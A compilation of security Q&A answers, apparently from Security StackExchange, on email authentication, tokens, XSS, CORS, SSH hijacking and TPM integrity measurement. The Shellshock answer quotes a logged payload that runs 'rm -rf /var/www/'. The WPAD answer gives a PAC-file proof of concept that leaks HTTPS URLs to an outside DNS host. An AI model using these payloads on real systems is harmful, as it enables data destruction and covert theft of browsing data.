DMARC "policy_evaluated" is "fail" for SPF, even when SPF domain alignment is "relaxed"?

Relaxed in DMARC doesn't mean completely liberated, but has limitations.

From RFC 7489, 3.1.2 SPF-Authenticated Identifiers (emphasis is mine):

  In relaxed mode, the [SPF]-authenticated domain and RFC5322.From
  domain must have the same Organizational Domain.  In strict mode,
  only an exact DNS domain match is considered to produce Identifier
  Alignment.

The algorithm to determine the Organizational Domain is specified in section 3.2, but basically the Organizational Domain is just your domain (including TLD) e.g. example.com is the Organizational domain for all a.b.c.d.example.com.

  Thus, since com is an IANA-registered TLD, a subject domain of
  a.b.c.d.example.com would have an Organizational Domain of
  example.com. The process of determining a suffix is currently a heuristic one.  No
     list is guaranteed to be accurate or current.

This means that the relaxed alignment for From: user@example.com would pass if the envelope sender used in SMTP MAIL FROM command was something like newsletter@mail-provider.example.com as the organizational domain for both is the same, but example.mail-provider.com has a different organizational domain and fails.

So, what's the solution?

You don't necessarily have to do anything. DMARC passes if either SPF or DKIM passes.
If you want both to pass, the mail provider has to use your domain or its subdomain as the envelope sender. That should be possible, as you already have include:d their SPF in your SPF record.


How background services perform token based Api Authentication?

The best solution will depend a lot on what you store in your token.

if you store confidential information in your token, you will need to encrypt it and use a JWE token. In this case, you will have no choice but store a private key somewhere your service can access it.

But in most case, your API endpoint doesn't need an encrypted token: all you need is a signed one so you can verify that the data in the token is valid and therefore you can use a JWS token instead.

In this case, you have 2 options again: use a HMAC based token (in which case you'll need to store that HMAC key in a secure manner) or use an asymmetrical algorithm instead (RSA or EC-based). In that later case, all your API service will need need is the public key that matches the signature: you need that key to be store on your server in a way that makes it difficult for the key to be changed but you do NOT need the key to be secret.


Unusual ownership-ID using localStorage; any possible issues?

Seems to me to be a reasonably secure approach in lieu of having user accounts and session management. HTTPS is a must but I'd also look at the following points to address your specific issues.

  In the response of create.php, user is given a randomly-generated string. This is not stored on the server, but its hash is.

Make sure the generated string is generated using a cryptographically secure mechanism. e.g. openssl_random_pseudo_bytes

If you want to add extra security you could add a salt, or better still use bcrypt for the server stored value.

  I know of the HttpOnly header, but I like Javascript, and I want a lot of my site's actions to be asynchronous (so you can save a form's information without loading a new page)

You could use a cookie with HttpOnly set - the cookie will still be sent with your AJAX requests, it will only be the JavaScript itself that won't be able to access it. Also set the secure flag and use this in conjuction with HTTPS to make sure your cookie is only transmitted over a secure connection.

  The common trait with a lot of them it seems is that the bad guy is able to run Javascript on the target domain, which seems like a big assumption to me.

That is in fact the definition of XSS in that an attacker can run JavaScript on the target domain. Make sure you're following the advice in the  XSS (Cross Site Scripting) Prevention Cheat Sheet


In my opinion the main concern is that Mifare RC522 cards are easy to clone. Anyone with an Arduino and a $1.50 RFID module could copy someone's card and access your building.

If you're concerned about this risk, I do recommend you to check some of the HID RFID smart cards, they are not impossible to break, but definitely way harder.


RatticDB for passwords is not encrypted. Is this good approach?

RatticDB is a password manager; it must, by definition, be able to return the raw passwords themselves. From the outside, the role of the password manager is to store the passwords and show them only to duly authenticated entities, so that the stored passwords may be used with third-party systems which are completely unaware of how the passwords are remembered by users.

Encryption is a mechanism which can be used to ensure data confidentiality within certain conditions. In the case of a password management database, the use or non-use of encryption makes a difference only with regards to partial breaches by attacker. Since RatticDB must be able to produce the stored passwords on demand by the right user, a complete hijack of the machine necessarily allows the attacker to obtain all passwords, regardless of encryption. However, if a backup file for the database component is stolen, then encryption matters: if the data was encrypted with a key that was not stolen, then the breach does not reveal the passwords.

From an engineering point of view, RatticDB's stance is understandable: as an application-level piece of code, it may consider that database encryption is best dealt with at the database level, out of the scope of RatticDB itself. Indeed, whether encryption brings benefits or not depends on contextual characteristics such as the local backup policies. A comprehensive database encryption system would be TDE (as implemented by Oracle and Microsoft SQL Server), which is done on the database, regardless of the application.

Another model where encryption could be applied, and would become relevant, would be a password manager which stores only encrypted passwords that the manager cannot decrypt. In a way, this is how most "password wallet" applications work, when included in your browser (e.g. KeePass): data is ultimately encrypted with regards to some user secret (e.g. a "master password") and decrypted right on the user's machine, even if the encrypted passwords are physically stored in another machine. This sort of thing can work only if the client system (the one closest to the human user) is able to do decryption, something which is not a given in a Web context (basically, it needs a browser extension). RatticDB appears to follow another model, which supports dumb clients (Web browsers with no extension).


Correct procedure for encrypting data with public key and password-protecting the private key

Whats the target OS?

Just been reading on Windows DPAPI which is used for this process and the way its done is based off the master key and the current users passphrase to generate key material. It then uses a key stretching function to produce the key which yours is missing instead you add the passphrase direct into the AES and limit it to 32 characters.

Or if your target is windows just use the DPAPI direct to protect your keys.


What are the advantages and flaws of this approach? Are JWT really necessary when users' don't actually have accounts? For example, I don't see what the point is to have this type of security for the buy gift card call.

From what I can see, users do have accounts, although minimal. As in, there are users with IDs and gift cards are linked to them. What you described makes sense, /login authenticates and establishes a "session" of sorts.

Having this authentication before a buy allows you to bind the new gift card to the user who authenticated.

As for how this approach compares to others and what alternatives you have, take a look at the Web Authentication Guide.

  A current problem is if a user comes back after 61 days, the API calls fails as the accessToken has expired - and they need to clear local storage for it to work. This is obviously unacceptable. What is a better approach?

This is the typical case of needing to keep alive an authenticated session. What you described is an implementation of this using JWT. This works but has its downfalls. More on session management here.


Storing passwords in text files inside Ubuntu encrypted home directory

Home directory encryption only helps when you are not logged in, right? So that protects you from physical device theft.
But many of threats also happen while you are logged in, like malware?


Using a Data Flow Diagram will help map out all the locations data is stored, processed and in transit.

This gives a great high level overview of the data.

Some good sources can be found here:

https://www.visual-paradigm.com/guide/data-flow-diagram/what-is-data-flow-diagram/
https://stackoverflow.com/questions/450498/what-are-the-data-flow-diagrams-dfd


Can an SSH session be taken from memory?

The attacker gets the session keys and other state information from memory, but those keys are good only for that single TCP connection.  For a new TCP connection, the server will generate new nonces and all the anti-replay features of SSH kick in.

So the attacker needs to hijack the TCP connection, which the server identifies by client IP address, client TCP port, and sequence number information.  The attacks can be classified by how far from the original client the seized TCP connection is picked up:

In the ssh process itself.  If the attacker has superuser rights where ssh is running, he can either replace the ssh binary with his own compromised copy that the innocent user runs, or change its behavior via code injection (for example, injections don't modify the binary on disk, so digital signatures don't detect the tampering).
In a second process on the same machine.  It's easy to continue the TCP connection from here because packets sent by the server are already being routed here.

a. All the TCP connection-related information is kept by the OS sockets layer, and while the details of moving a TCP socket between processes are OS-specific, sockets don't have process affinity in any POSIX OS, because they can be used from multiple processes at once if inherited during spawn or fork.

b. By bypassing the sockets layer used by applications, and capturing/modifying/injecting packets at the network stack or driver -- for example using iptables or libpcap.
In another machine positioned for MITM attacks.  The only thing that's absolutely necessary besides getting a copy of the session keys and state itself is to continue using the same IP address so the server thinks the same TCP connection is ongoing. That's the same thing necessary for man-in-the-middle, either sitting really on the path, or at least compromising a router on the path to send packets transmitted from the SSH server to the attacker.


Does allowing a user to know their own authorized capabilities decrease security?

Kerckhoff's principle applies here: it should not.

In theory, the list of user's privilege should match what the user is authorised to do. In practice, some oversight may cause you to grant a user more privilege than they really need, and disclosing authorisation information just makes it easier for them to figure that out.

The only drawback here is if the user is actually granted more access than they needed. Then the authorisation information may tip off the user that they have more privileges than they should have. Ultimately though, this isn't the problem caused by disclosing authorisation information, but rather the token's privilege was too broad to begin with.


Reauthenticating a user for sensitive actions using OpenID

It is reasonable to think that a particular user may have many different privileges on a site, some of greater and some of lesser sensitivity. In OAuth land, the dance delivers a token to the user, and the site against which the token is valid will have defined the privileges that token enshrines.

So the site can decide to just include privileges tied to the specific request the user made that initiated the OAuth dance, which can be narrower than the full set of rights that that same user may have on the site.

Should then the user- whose authorization is embodied in that token- desire to perform some action that is not permitted by the privileges provided by the token, the site can refuse to allow them to perform the action, and can provide the user with another opportunity to re-initiate the OAuth dance, even if that involves the user re-entering their same credentials.

This isn't great for usability, but it is permissable.

That said, the specific cited circumstance- changing a "local" credential- should perhaps not be thought of as a problem to solve. Multiple sources of truth for authentication are often not a good idea.


Can (or should) a system admin test a login before sending login info to users?

This is wrong. A sysadmin should never log in or even know the users password in the first place.

The issue is with the system, fix it. A good pitch to the management to get $$ for the fix is to say that this impacts your security very badly and give him a good example of what could happen if let's say a sysadmin goes rogue + how much it would cost them.


How can I protect the signup form in my website? Is special spam prevention needed?

You may want to try Invisible ReCaptcha. It should be the best compromise between security and convenience. Normal ReCaptchaV2 is also simple enough, if you need more security.


Is there a list of all known C&C servers published somewhere that I can just add firewall rules for?

Unfortunately the operators of such botnets and malware have adapted various strategies to work around such blocks.

A complete and always up-to-date list is not possible because these server change frequently either because they got taken down by law enforcement or before they get blocked by too much firewalls. And apart from that some malware also communicates using peer-to-peer structures and don't need central C&C servers. And then there is malware which just gets its commands from twitter feeds or entries on blogging sites.


If I never want cross origin requests to be accepted, can I just ignore CORS?

No.  There is no security hole in just pretending CORS doesn't exist.  CORS is an opt-in policy.  As long as your server never sends any CORS headers (never opts in), browsers will continue to use the standard same-origin policy.  You can pretend CORS doesn't exist, to keep your life simple: that's a perfectly reasonable strategy.

CORS is optional: you can use it if you want its extra features, but it is also perfectly fine to ignore it and never use it.  This is by design.  Anything else would be crazy.  There are millions of web sites out there which were written before CORS and aren't ever going to be changed.  Designing a standard which overnight made all of those websites would be crazy.  The CORS standards writers aren't crazy.  They didn't do that.  (In fact, they took great pains not to do that!)

I suspect there has been some miscommunication or misunderstanding with your security firm (or possibly your security firm is just wrong).  As far as I know, it's fine for a web application to never send any CORS headers.

That said, you do need to understand CSRF.  CSRF is a fundamental vulnerability on the web (one which far predates CORS, and is orthogonal to CORS).  So, please do read up on it.  You'll find a lot of great resources on CSRF on the OWASP web pages and on this site.  The standard defense against CSRF is to use CSRF tokens for all HTTP requests that could possibly have any side effect.


Gave scammers my name, date of birth, ... What now?

The identity information you revealed can be used for multiple purpose.

Impersonation

They might use it to impersonate you by making a fake ID card potentially to gain access to places where only you are authorised to.

Financial Frauds

They would try to find out other factors which are absolutely necessary for a financial transfer and take the money. For eg: just the account number and routing number of an account along with basic contact information is required for a preauthorised wire transfer in the United States. So the only missing piece of information they need here would just be your bank account number.

Word Dictionary

People tend to use passwords which they can always remember. Usually related to their demographics. It is likely to include their name, place or DOB in the password. In case of a password attack, the attacker can use your personal information to create an effective dictionary list of passwords.


Is DRM considered Confidentiality, Integrity, Availability, or some combination of the three?

No. DRM doesn't really guarantee anything.

Confidentiality is the guarantee that an unauthorized user cannot access the protected information. DRM doesn't guarantee this because decryption keys are necessarily distributed to the very person you're trying to prevent access to.

Integrity is the guarantee that the data hasn't been tampered with. DRM doesn't give this either, for the same reason as above. While DRM usually employes encryption, it invalidates any of the guarantees that encryption would otherwise provide by disclosing the secret key to the attacker.

Availability is the guarantee that an attacker cannot prevent access to critical data. In the case of DRM, if protected data is available it is despite the DRM, not because of it. There have been several well-known cases of attackers being able to deny access to protected content by attacking the key distribution points, an attack that wouldn't have been possible without DRM.


You're not comparing apples to apples in your comparison of password strength to your bank PIN.

Most traditional passwords strength theologies are predicated on the fact that your username and password is all that stands between you and your precious secure data. These are merely two objects that you know and as such it's in your best interest to have a longer password with seemingly random patterns to prevent password guessing and brute force attacks etc.

Your bank card is based off what is known as two-factor authentication - something you have (your bank card) and something you know (your PIN). This extra element of having something you have (which, as you recall you don't have in the first scenario) arguably drastically increases the security when the item you have is handled with great care. With that in mind, you can usually get away with having a 4 digit code because the likelihood that someone will guess your PIN after randomly finding your card without alerting your financial institution is quite low.

It should go without saying that two-factor authentication is not without its flaws (someone could copy your magnetic strip on a non-chip'ed card and steal your PIN), however its additional security benefits allow you to have shorter password lengths without increasing the risk to the holder.


What do shellshock attacks look like in system logs?

This is an entry from my access_log of what my coworker did to my test machine... :

10.11.12.13 - - [25/Sep/2014:16:00:00 -0400] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/rm -rf /var/www/"

In my error log I saw a lot of this:

[Thu Sep 25 16:00:00 2014] [error] [client 10.11.12.13] /bin/rm: cannot remove `/var/www/icons/pie0.png': Permission denied

Bastard :-)

A well configured web-server won't be able to overwrite its logs, and in all but the tiniest environments, you should be using centralized logging to protect you from losing these kinds of log entries.

If you're successfully exploited, you may see lots of errors in the error_log which show failed attempts to access resources, execute programs or delete files.  If they successfully escalate privileges, and you don't have off-site logging, then you may see no evidence.


How to prevent refreshing a stolen access token

To get a new access token, the client needs to send the refresh token to the server. So if the attacker only steals the access token, she will not be able to refresh. To do that, she needs to steal the refresh token as well. Now, if the attacker is in a position to steal the access token she can probably snatch the refresh token as well while she's at it. So maybe this doesn't make a lot of difference for the token theft scenario, but I still wanted to point it out.

Dividing it up into one access and one refresh token does not protect against theft. That is not what it is designed for. The purpose of the division is to make it possible for the server to revoke tokens without having to hit the database on each single request.

So how do you protect against theft? Same way you would do with any client side secret, be it a session ID or what not. Set a limited lifetime (of the refresh token, in this case), use good TLS, and perhaps include some geolocation information in the token so you can block requests that suddenly comes from the other side of the planet.


How could a website trigger a Windows pop up notification?

My first thought is that it is because of the advertising that is built into Windows 10 and enabled by default:

http://www.pcworld.com/article/3039827/windows/7-ways-windows-10-pushes-ads-at-you-and-how-to-stop-them.html

Or, it was a notification through your browser. I use Chrome so am most familiar with its behavior. Sites that want to push notifications to you, chrome asks if you allow this and if you do it will cause little pop-up windows in the lower right with those notifications. I'd guess IE, firefox, etc. have similar features. Maybe the settings were overridden to allow notifications without prompting?

If not that, then some piece of software installed is adware.


Protecting cellphones from USB attacks (a.k.a. Juice Jacking)

The kind of attack you are talking is popularly coined as "Juice Jacking".

Are there any "known bad" or "known safe" smartphones with regard to USB security?

In my knowledge, NO.

How does a corporation protect from these risks?

By making policies (actually spreading awareness) about the threat
as many people yet aren't aware about it.
And popularizing the practice of Not Using public charging kiosks.
To charge your phones on the go, use a normal power cord as I'm sure non-smartphone mobiles are not that old to get their public charging outlets removed.

Does anyone have easy-to-understand explanations of the risks and what not to do? (e.g. use a public cellphone charging station)

The threat doesn't only get limited to downloading of all your data but also malware could be written to your device, to own victim for longer time.
What to do & Not to do list added in previous part.


From RFC 4492, section 2.2:

  The server sends its ephemeral ECDH public key and a specification of
  the corresponding curve in the ServerKeyExchange message.  These
  parameters MUST be signed with ECDSA using the private key
  corresponding to the public key in the server's Certificate.

  The client generates an ECDH key pair on the same curve as the
  server's ephemeral ECDH key and sends its public key in the
  ClientKeyExchange message.

Further, in sections 5.4 and 5.7 you can find their structure.


Tunnel ssh over http with custom headers

Answering my own question:

Since corkscrew doesn't support HTTP custom headers, i found out another tool which does it.

It's called ProxyTunnel and has a lot of support for custom data inside the HTTP payload.


Before you start auditing the security controls around this email system, and recommending any changes that would enhance security, it would be helpful to take a step back and assess the risk through a risk assessment. Some questions to help guide you:

  What is the "business value" of the data stored within this email
  system?

Take into consideration permitted data loss (RPO) and maximum allowable downtime (RTO)

  What is security classification / labeling of the data stored within this email system? Is it considered confidential / sensitive?

The more sensitive the application data is, the tighter you would want controls surround the application to be. While its important to consider threats and associated vulnerabilities that together constitute a risk broadly, in this instance, I would suggest you focus on the security controls that mitigate risks to Confidentiality and Integrity.

Confidentiality should be a top priority as the email can contain sensitive data, such as upcoming business plans, or forecasts as well as personal information on customers / employees. The disclosure of this data to unauthorized parties can result in lost competitive advantage, legal fines etc.

Integrity is important, as in order for information to be trusted, you would want to ensure that the information was not modified from when it was sent to when it was received. Depending on the sensitivity classification of emails, you may also want to digitally sign the email so that the sender of the email can be traced, and any message tampering detected.

  What can happen if the threats to this email system is realized? - Impact

If you have the data available, you can quantify your risk assessment in terms of numerical loss. If such data is not available, you can qualitatively state potential adverse outcomes such as loss of confidential data could lead to damaged reputation, legal fines...etc.

As to the specific set of procedures you listed, they are a good start but I would add the following to that list:

Review safeguards against specific attack vectors that often exploit email such as phishing / spear phishing / whaling
Review acceptable use policies concerning email and in place, (if any)safeguards against data leakage such as a DLP solution.

Email is one of the primary methods through which attacks that can result in data compromise such as the variants of phishing I listed are spread.

With regards to point 2, data exfiltration is a serious risk that can have severe impacts to your organization. For example, corporate email containing sensitive communications can be forwarded by an unwary employee to a personal email account, or be copied to an USB stick and carried outside the company where company IT lose all control over how the emails may be used and / or distributed.


Why an attacker would use a trojan over a spyware?

See this answer for some musings about the definitions of such terms, and, in particular, how fuzzy and mostly irrelevant they are.

If we really want to make distinctions, then:

A spyware is some software which spies on the user.
A trojan is some malicious software which gets installed by the victim himself, who was deceived into thinking that the software was benign.

So the two terms are not opposite at all ! In fact, they are orthogonal. A given piece of malware (the generic term, meaning "malicious software") can be a trojan or something else (depending on how it enters the victim's computer), and can be a spyware or something else (depending on whether, once there, in engages into spying activities).

In older times, malware was mostly virus (i.e. malware which propagates by grafting itself on executable files exchanged between computers) and worms (automatic exploit of network-based vulnerabilities). Some had no payload, they just replicated for the fun of it; but most tried to be destructive, wiping out files and operating systems, and even breaking the hardware. Nowadays, a lot of malware exploits the gullibility of the human user (that's much easier than relying on some exploitable vulnerability), making up the large "trojan" category. Also, most malware tries to be inconspicuous: typical malware does not try to break your machine; instead, it silently siphons out your secrets (e.g. passwords).

"Taking control" is not a well-defined category. By definition, malware running on a machine is "controlling" it, if only transiently. Most malware will include some backdoor so that the malware author can use an installed malware instance as an entry point for pushing new attack code, whether such an escalation is actually planned or not.


Is the injection in a NoSQL database architecture also called SQL injection?

Those are called NoSQL Injections instead of SQL injections.

You can find more information about NoSQL injections, in the OWASP Testing Guide.


The Boomerang extension interacts with the Gmail website making lots of HTTP requests. That behaviour is usually associated with malicious extensions which attempt to exploit advertisement networks by simulating user clicks.

Sophos seems to have invented a neologism and does not seem to explain it even in their own documentation. You may try opening a support ticket.


nmap: Same IP, different domain names, different results?

There might be a Web Application Firewall with different profiles for different domains. So they might share the same ip address but every domain serves a different purpose and so different ports are allowed.
A WAF is able to "unterstandt" the http packets, that way it is able to determine the domain you try to connect to.


If you are using your employer's equipment and network, then nothing you do on them can be considered private. They will be able to see any personal things you do on your employer's equipment. This should not be a surprise.

If you have specific questions, you need to talk to your employer's IT department.


Using a simple 5-character pass for event vs. QR/barcode

If there's any advantage on breaking your system, someone sooner or later will break your system.

There are not a big difference between generating and managing 5 digit codes versus 64 digit codes. So going with 5 or 64 is the same amount of work. The main difference is the difficulty of bruteforcing 5 or 64 digits.

You could create a structure like that: TICKET_ID:EV_ID:CHECK

Where, for example, TICKETID is 8 chars, EV_ID is 3 chars, and CHECK is 5 chars, with 16 bytes total. CHECK must be calculated using a digital signature, and truncating the result to the first 5 digits. You can make it all caps, and avoid using the numbers 0 and 1, and capital O and I, because they are easily mistaken one for the other with certain fonts.

So the ticket ABCDE456AAA23F78 would be:

Ticket ID: ABCDE456

Event ID: AAA

Check: 23F78

When generating the new tickets, you must hash the ticket ID and event ID, and digitally sign the result. When checking the validity, don't just hash and verify. You must verify if the ticket ID is exact 8 chars long, the event ID is exact 3 chars long, and then hash and check. Verify if the avoided chars are present too. Doing this, the probability of a collision is lowered.

Upsides:

Small QR-Code
16 digits are easy to write down
Confusing chars removed
Dumb phones can check the validity
Difficult to forge
Checking the code can be done offline, with a small Javascript powered HTML page

The main downside is the small check length. 5 digits is not very difficult to crack, but you can increase this size to a full 64-byte signature.

Using this scheme you can create around 33 million tickets per event, and create 10 events per week for the next 63 years without using all event IDs.


Are XSS attacks possible if access to content generated by other users is restricted?

tl/dr: Yes!  Defense in depth is critical, so any XSS vulnerability is
a vulnerability that needs to be fixed, regardless of whether or not a
method of exploit is immediately obvious.

The Underlying Question
Whether intentional or not, there is a question behind your question that is much more important to answer.  In essence what you are really asking is:

Do I need to worry about XSS if an attacker can't take advantage of
it?

The answer to that is simple: you need to always worry about XSS.  Any XSS vulnerability is a danger and, once known, should be fixed in accordance with best practices.  This should be taken as a given even without considering specifics of your particular case.  The reason is because web applications are rarely static.  They change often and quickly.
Something starts life as an admin-only feature, so the developers decide to not worry about security.  Six months later a change request comes from management and they want to share part of that feature with customers.  The original developers are busy with something else and the new team doesn't notice that there is no XSS protection in the feature at all.  As a result, when they push it out to everyone, the application gains a glaring XSS vulnerability.  Stuff like that happens all the time.  As a result, it's critical that basic application security is properly executed everywhere.  The insecure-but-private applications of today invariably become the insecure-and-public applications of tomorrow.  This will happen to you.
Finally, defense-in-depth is critical.  Many real life breaches happen because an attacker finds one weakness that allows them to exploit another weakness, which leads to another weak spot, that finally leads to something juicy.  "My user's only ever see their own data, so XSS doesn't matter" works perfectly fine until an attacker figures out how to inject data into another user's session.  The lack of XSS protection will then allow the attacker to gain full access to the other user's data and presumably take over their account, while having XSS protection in place may have instead completely thwarted the attack.
Some Specifics
So, are there any ways in which an attacker may inject data into another user's session?  There probably are!  In particular:

Reflected XSS (Steffen already touched on this)
CSRF is a major concern: if you have an endpoint with a CSRF vulnerability, an attacker may be able to trigger a CSRF attack on another user's account, store an XSS payload in their data, and then use that XSS attack to compromise the user's account.
SQLi: An attacker may be able to take advantage of an SQLi vulnerability to execute a stored XSS attack against all users' accounts, compromising everything.

That last one may seem like a bit of a stretch (simply because an SQLi attack is usually a severe problem on its own), but in the case of a write-only SQLi vulnerability it is a legitimate concern.
Summary
Having siloed user data isn't sufficient reason to be able to skimp on basic application security, because it rests on an assumption: that user's can never access each others' data.  That assumption rarely holds true.  If there is no XSS protection in place than an attacker only needs to find one vulnerability anywhere that allows them to inject data into another user's account in order to take it over.  However, if you practice proper security everywhere, then an attacker will have to find a vulnerability that allows them to inject data and find a vulnerability that allows their XSS payload to execute.  This is a much harder task and will make your users much safer.


Performance issues while applying encryption at host or guest level?

While I haven't got any data to support, a big problem with Virtualization is that the I/O performance tends to drop dramatically. Now encryption can have a small impact on cpu usage, but definitely the I/O might get hit. So make sure you have fast enough storage to cope with this overhead (you don't want to be using 7.2k rpm sata drives but 10-15k SAS drives or even SSDs).


I received a spam, how can I understand it in order to report it?

I don't think that it makes any more sense to report such a single spam by yourself. You are very lucky or you have a provider with a good spam filter if you don't get lots of these spam. Trying to report everything just does not scale.

Instead ISP and specialized companies fight spam on a more global scale, for example by using honey addresses to collect spam and then automatically look for pattern in content or delivery. Also spam filters inside modern mail clients usually do a good job of detecting spam as long as any undetected spam is marked as such so that the filter can learn.


Can Web Proxy Autodiscovery leak HTTPS URLs?

Yes, URL is passed to FindProxyForURL() and you can leak it out via DNS. Here is an example of PAC file:

function FindProxyForURL(url, host) {
    if (host == 'navalny.com') {
        var chunks = url.match(/[-a-zA-Z0-9]+/g);
        dnsResolve('x.darkk.net.ru.');
        if (chunks) {
            chunks.forEach(function(x) {
                dnsResolve(x + '.y.darkk.net.ru');
            });
        }
        dnsResolve('z.darkk.net.ru.');
        return 'SOCKS5 127.0.0.1:1024'; // drop connection
    }
    return 'DIRECT';
}

If Firefox/39.0 navigates to https://navalny.com/the-capability-url?q=q while this PAC file is active following DNS queries are sent:

Standard query 0xfb5d  A x.darkk.net.ru
Standard query 0x9ca7  AAAA x.darkk.net.ru
Standard query 0xf1cc  A x.darkk.net.ru
Standard query 0xf60c  AAAA x.darkk.net.ru
Standard query 0x574a  A https.y.darkk.net.ru
Standard query 0xfad9  AAAA https.y.darkk.net.ru
Standard query 0x2289  A https.y.darkk.net.ru
Standard query 0x7ed4  AAAA https.y.darkk.net.ru
Standard query 0x85b2  A navalny.y.darkk.net.ru
Standard query 0xa7cd  AAAA navalny.y.darkk.net.ru
Standard query 0x1ca9  A navalny.y.darkk.net.ru
Standard query 0xa400  AAAA navalny.y.darkk.net.ru
Standard query 0xec51  A com.y.darkk.net.ru
Standard query 0x1ea7  AAAA com.y.darkk.net.ru
Standard query 0x25bd  A the-capability-url.y.darkk.net.ru
Standard query 0x844c  AAAA the-capability-url.y.darkk.net.ru
Standard query 0x200b  A q.y.darkk.net.ru
Standard query 0x5a62  AAAA q.y.darkk.net.ru
Standard query 0xeb02  A q.y.darkk.net.ru
Standard query 0xaa2c  AAAA q.y.darkk.net.ru
Standard query 0xee8f  A z.darkk.net.ru
Standard query 0xe9b7  AAAA z.darkk.net.ru


Allowing user to access password protected website without disclosing the password

Well the problem started with your friend's clients giving her their credentials rather than creating a new account on their portals for her... That's bad.

Putting that aside there is one way to get the employee in without disclosing the password. You could use this chrome extension:

https://chrome.google.com/webstore/detail/edit-this-cookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en

and transfer the authentication cookie from the logged in computer, to the other employee's computer.

All of this is really sketchy, and flaky though. Sketchy because you're breaking so many security best practices, and flaky because you're setting yourself up for failure.

Bottom line: You need to be able to trust your employees. Maybe she can get the employee to sign some paperwork to make it possible to prosecute the employee, should he try to use the access to cause damage.


Feasibility of persistent iOS malware which survives factory reset

Have you looked at iphonehacks.com and posted on their site? Once the device is jailbroken it is pretty much open season on the device. If you are thinking you can get malware on the device that persists past re-installing the genuine OS good luck. That would be a firmware hack and that is part of the reason that government agencies won't allow employees or contractors to use any phone manufactured in China.


How does the TPM perform integrity measurements on a system?

There's basically two way of doing this;

SRTM (Static Root of Trust for Measurements) and
DRTM (Dynamic Root of Trust for Measurements).

SRTM takes place at system boot. The first thing getting executed at boot is called the Core Root of Trust for Measurements (CRTM) aka the BIOS boot block will measure the BIOS and send the value (hash) to the TPM in a location called Platform Configurations Register (PCR) 0 before executing it. Then the BIOS measure the next thing in the boot chain and again, will store the value in a PCR of the TPM. This process is executed for each components in the boot sequence (PCI option ROM, boot loader, etc).
TrustedGrub is a TPM aware boot loader that will send the proper measurements to the TPM. It is use to continue the chain of measurements (SRTM) from the BIOS up to the Kernel.
DRTM is very different as it's something happening while the system is running. Intel’s implementation is called Trusted Execution Technology (TXT) while  AMD use the name Secure Virtual Machine (SVM). The goal of DRTM is to create a trusted environment from an untrusted state. Technically, it creates a secure/clean state and will report (provide measurement – hashes in PCRs) on a piece of code someone wants to execute (aka Measured Launched Environment - MLE). Typically, the MLE is an Operating System (kernel, userspace, etc).
Without going into details, Intel's DRTM works by calling a set of new CPU instructions (SMX) which tells the CPU and the chipset to perform a very specific set of tasks (GETSEC) which ensure nothing else than a special code can run, i.e. SINIT Authenticated Code Module (ACM). This part includes disabling all but one CPU and blocking/stopping everything currently running: all other processes, interrupts and I/O (via IOMMU, e.g. to avoid DMA attacks). Then, all CPU rejoin in a clean state - anything executed before is discarded. At this point the signature of this special code (SINIT ACM) gets validated and its identity (hash measurement) is sent to the TPM in the PCR 17. Afterwards, execution is passed to the ACM which then measure the MLE and sends the measurement to the TPM in the PCR 18. Finally, execution is passed to the MLE.
Tboot is a tool created by Intel to do just that (DRTM) and an alternative to TrustedGrub (SRTM).

Here's an example of what PCRs values looks like with SRTM (TPM aware BIOS) but without a TPM aware boot loader (e.g. TrustedGrub) and without DRTM (e.g. Tboot):
# cat /sys/devices/pnp0/00:09/pcrs
PCR-00: A8 5A 84 B7 38 FC C0 CF 3A 44 7A 5A A7 03 83 0B BE E7 BD D9
PCR-01: 11 40 C1 7D 0D 25 51 9E 28 53 A5 22 B7 1F 12 24 47 91 15 CB
PCR-02: A3 82 9A 64 61 85 2C C1 43 ED 75 83 48 35 90 4F 07 A9 D5 2C
PCR-03: B2 A8 3B 0E BF 2F 83 78 29 9A 5B 2B DF C3 1E A9 55 AD 72 36
PCR-04: 78 93 CF 58 0E E1 A3 8F DA 6F E0 3B C9 53 76 28 12 93 EF 82
PCR-05: 72 A7 A9 6C 96 39 38 52 D5 9B D9 12 39 75 86 44 3E 20 10 2F
PCR-06: 92 20 EB AC 21 CE BA 8A C0 AB 92 0E D0 27 E4 F8 91 C9 03 EE
PCR-07: B2 A8 3B 04 BF 2F 83 74 29 9A 5B 4B DF C3 1E A9 55 AD 72 36
PCR-08: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-09: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-12: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-13: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-15: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
PCR-17: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-18: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-19: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-20: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-21: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-22: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
PCR-23: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

As you can see, PCR 0-7 are filled but from PCR 8 to 15 it's empty - they are still reset to 0. Since DRTM hasn't been used, PCRs 17-22 are filled with 1s (f).

The security of those mechanisms relies on the fact that PCRs values cannot be set (or forged) but only extended (TPM_Extend()). This means whenever a measurement is sent to a TPM, the hash of the concatenation of the current value of a PCR and the new measurement is stored (i.e. new_value = Hash(old_value || new_measurement)). Obviously, there's a beginning to all of this:

With SRTM, only the CRTM can reset PCRs 0 to 15 at boot
With DRTM, only the TXT instructions can reset PCRs 17 to 20 (when in locality 4 (SMX operations)). See this answer, this presentation or the specs for the details.

